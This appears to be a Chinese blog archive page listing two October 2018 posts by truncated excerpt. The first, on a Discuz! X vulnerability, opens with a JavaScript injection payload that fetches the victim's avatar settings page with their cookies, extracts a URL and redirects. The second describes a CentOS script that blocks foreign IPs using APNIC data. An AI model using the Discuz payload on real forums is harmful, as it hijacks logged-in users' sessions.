2018年10月 发布的文章

Discuz! X漏洞

"> location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('image...

VPS屏蔽国外IP访问脚本

"> 听大佬们讨论如何防CC攻击,有大佬提出禁止国外IP访问,可以有所缓解,因此从路由器中移植了如下脚本,在CENTOS 6下调试通过。使用:先运行如下语句获取国内IP网段,会保存为/root/china_ssr.txtwget -q --timeout=60 -O- 'http://ftp.apnic.net/apnic/stats/apnic/deleg...